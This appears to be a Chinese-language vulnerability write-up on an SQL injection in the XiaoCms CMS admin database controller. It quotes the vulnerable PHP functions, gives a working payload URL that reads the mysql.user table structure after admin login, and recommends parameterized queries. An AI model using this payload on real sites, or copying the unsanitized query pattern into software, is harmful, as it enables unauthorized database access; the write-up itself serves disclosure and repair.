0x00 环境准备
XIAOCMS官网: http://www.xiaocms.com/
网站源码版本:XiaoCms (发布时间:2014-12-29)
程序源码下载:http://www.xiaocms.com/download/XiaoCms_20141229.zip
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/admin/controller/database.php 第81-103行:
1. public function repairAction() {
2. $name = $this->get('name');
3. $this->db->execute("repair table $name");
4. $this->show_message('修复成功',1, url('database/index'));
5. }
6.
7. *
8. * 优化表
9. */
10. 10. public function optimizeAction() {
11. $name = $this->get('name');
12. $this->db->execute("optimize table $name");
13. $this->show_message('优化成功',1, url('database/index'));
1. 14. }
2. 15.
16. *
17. * 数据表结构
18. */
1. 19. public function tableAction() {
20. $name = $this->get('name');
21. $data = $this->db->query("SHOW CREATE TABLE $name")->fetchAll();
22. echo '<div class="subnav"><pre style="padding: 20px;color:#666;font: 18px/2 tahoma, arial" >' . $data[0]['Create Table'] . '</pre></div>';
1. 23. }
在这三个函数中,将获取到的name参数拼接到SQL语句,然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
0x02 漏洞利用
1、登录后台,构造URL获取mysql.user的数据库结构,可遍历猜解所有数据库的表结构。
Payload:http://127.0.0.1/admin/index.php?c=database&a=table&name=mysql.user
0x03 修复建议
1、使用参数化查询避免SQL注入
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。